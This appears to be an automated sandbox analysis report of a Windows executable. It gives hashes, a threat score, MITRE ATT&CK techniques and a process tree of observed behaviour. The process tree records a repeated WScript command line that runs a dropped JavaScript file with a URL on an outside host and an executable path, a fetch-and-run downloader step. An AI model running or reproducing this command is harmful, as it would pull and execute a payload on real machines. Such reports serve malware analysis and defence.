52d605f5a4b74b82d4317797375462718e825747c04ef969da27c0ba63e5a5b4

Analysis

max time kernel
131s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 06:52

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General

Target

8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe
Size

184KB
MD5

8357b5609d1888f4485a33cfa480428e
SHA1

160a1a59fd47678125778d1b56d004ecfd1b1030
SHA256

52d605f5a4b74b82d4317797375462718e825747c04ef969da27c0ba63e5a5b4
SHA512

3834cad0b6c84500457502e719b449e715472f96997b9353033057af859fb2694680521e396de5dc981325aa5db62bdbcafaf14061a42dcdf393c494fd7fa449
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3J:/7BSH8zUB+nGESaaRvoB7FJNndnA

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
20	4564	WScript.exe
38	864	WScript.exe
40	2272	WScript.exe
56	4448	WScript.exe
58	4520	WScript.exe
59	4520	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 4564	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	82
PID 452 wrote to memory of 4564	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	82
PID 452 wrote to memory of 4564	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	82
PID 452 wrote to memory of 864	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	96
PID 452 wrote to memory of 864	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	96
PID 452 wrote to memory of 864	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	96
PID 452 wrote to memory of 2272	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	97
PID 452 wrote to memory of 2272	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	97
PID 452 wrote to memory of 2272	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	97
PID 452 wrote to memory of 4448	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	101
PID 452 wrote to memory of 4448	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	101
PID 452 wrote to memory of 4448	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	101
PID 452 wrote to memory of 4520	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	102
PID 452 wrote to memory of 4520	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	102
PID 452 wrote to memory of 4520	452	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FD8.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FD8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4564
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FD8.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FD8.exe
  2⤵
  - Blocklisted process makes network request
  PID:864
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FD8.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FD8.exe
  2⤵
  - Blocklisted process makes network request
  PID:2272
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FD8.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FD8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4448
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FD8.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FD8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3FD8.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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